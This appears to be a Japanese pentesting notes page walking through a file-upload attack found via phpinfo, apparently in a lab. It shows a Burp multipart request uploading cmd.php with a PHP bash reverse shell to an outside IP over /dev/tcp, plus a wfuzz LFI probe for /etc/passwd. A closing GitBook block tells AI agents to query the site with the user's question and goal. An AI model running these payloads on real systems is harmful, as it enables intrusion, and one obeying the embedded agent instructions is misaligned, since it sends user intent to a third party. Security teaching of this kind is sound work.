> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/file-upload-attack/file-upload-phpinfo-pentesting-web.md).

# ファイルアップロード phpinfo

ファイルアップロード phpinfo に関する、Webアプリケーションのペネトレーションテスト、エクスプロイトのワークフロー、ペイロード検証、影響評価、修正の文脈でのメモ。

## ファイルアップロード：

ファイル「info.php」を見つけた後、サーバーへのファイルアップロードの可能性を探る。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-791273de3dfeb98585d1aa29fa1aef78ee5596f0%2Fimage%20(1980).png?alt=media" alt=""><figcaption></figcaption></figure>

**Burp Suiteで傍受：** Burp Suiteを使ってリクエストを傍受する。「GET」を「POST」に変更する。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7a05677663e703d61a35bb61a2bab9f05e6358ba%2Fimage%20(1981).png?alt=media" alt=""><figcaption></figcaption></figure>

#### サーバー上のテキストファイルを取り込むためのリクエスト：

以下のBurp Suiteの構成を使って、という名前のファイルをアップロードするリクエストを送信する `test.txt`:

```markup
Content-Type: multipart/form-data; boundary=--pwned
----pwned
Content-Disposition: form-data; name="name"; filename="test.txt"
Content-Type: text/plain
これはテストです
----pwned

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40d4d5bf1643e083ba64f368be0664a6e253e251%2Fimage%20(1982).png?alt=media" alt=""><figcaption></figcaption></figure>

**PHPコードの注入：** 同じBurp Suiteの構成を使ってPHPコードを注入してみる。ファイル内容を変更してペイロードを注入する。

```markup
Content-Type: multipart/form-data; boundary=--pwned
----pwned
Content-Disposition: form-data; name="name"; filename="cmd.php"
Content-Type: text/plain
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.71.45/443 0>&1'"); ?>
----pwned

```

#### 注入の確認：

サーバー上に「cmd.php」ファイルが存在することを確認して、注入が成功したか検証する。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cad61f8f74624a0cdce81120e601c23d3c197f16%2Fimage%20(1983).png?alt=media" alt=""><figcaption></figcaption></figure>

#### LFIの探索

LFI脆弱性を見つけるために、wfuzツールを使ってPHPファイルへリダイレクトする可能性のあるパラメータを特定する。コマンドは以下のとおり：

```bash
wfuzz -c --hl=136 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.71.146/index.php?FUZZ=/etc/passwd"

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d2bf64b45ff271f6c6c045ebf4fed604ea0d56b5%2Fimage%20(1985).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e260d72d9df2721b745b1ed76a1430e2033ab9a%2Fimage%20(1984).png?alt=media" alt=""><figcaption></figcaption></figure>

#### フォルダの変更が一定でないことによる難しさ：

残念ながら、一時フォルダの変更が一定でないため、cmd.phpファイルの内容を一覧表示できませんでした：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e7782db2629ce333520a4cefe550de7cc93bed0%2Fimage%20(1986).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/file-upload-attack/file-upload-phpinfo-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
